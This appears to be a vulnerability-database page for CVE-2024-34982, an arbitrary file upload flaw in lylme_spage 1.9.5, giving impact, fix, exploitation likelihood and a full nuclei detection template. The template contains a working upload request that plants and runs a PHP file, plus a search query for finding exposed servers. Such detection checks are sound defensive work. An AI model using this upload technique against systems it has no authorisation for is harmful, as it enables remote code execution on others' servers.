HexBrain

Browse / CVEs / CVE-2024-34982

CVE-2024-34982· lylme / lylme spage

LyLme-Spage - Arbitary File Upload

highseverity
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

An arbitrary file upload vulnerability in the component /include/file.php of lylme_spage v1.9.5 allows attackers to execute arbitrary code via uploading a crafted file.

Impact

Attackers can upload arbitrary files to execute malicious code on the LyLme-Spage server.

Fix

Update LyLme Spage to a version later than 1.9.5 that patches the arbitrary file upload vulnerability.

How to confirm it

Send: POST /include/file.php
Positive when: contains "\"code\":" and "\"msg\":" and "\"url\":" and "php\"}"
Send: GET {{path}}
Positive when: contains(body, "{{string}}" ) and contains(header, "text/html")

Run it with nuclei: nuclei -id CVE-2024-34982 -u <target>

The full check
id: CVE-2024-34982

info:
  name: LyLme-Spage - Arbitary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    An arbitrary file upload vulnerability in the component /include/file.php of lylme_spage v1.9.5 allows attackers to execute arbitrary code via uploading a crafted file.
  impact: |
    Attackers can upload arbitrary files to execute malicious code on the LyLme-Spage server.
  remediation: |
    Update LyLme Spage to a version later than 1.9.5 that patches the arbitrary file upload vulnerability.
  reference:
    - https://github.com/n2ryx/CVE/blob/main/Lylme_pagev1.9.5.md
    - https://github.com/tanjiti/sec_profile
    - https://github.com/ATonysan/poc-exp/blob/main/60NavigationPage_CVE-2024-34982_ArbitraryFileUploads.py
  classification:
    epss-score: 0.04675
    epss-percentile: 0.91846
    cpe: cpe:2.3:a:lylme:lylme_spage:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lylme
    product: lylme_spage
    fofa-query: icon_hash="-282504889"
  tags: cve,cve2024,lylme-spage,rce,intrusive,vuln

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /include/file.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------575673989461736

        -----------------------------575673989461736
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: image/png

        <?php echo "{{string}}";unlink(__FILE__);?>
        -----------------------------575673989461736--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"code":'
          - '"msg":'
          - '"url":'
          - 'php"}'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: path
        part: body
        group: 1
        regex:
          - '"url":"([/a-z_0-9.]+)"'
        internal: true

  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{string}}" )'
          - 'contains(header, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from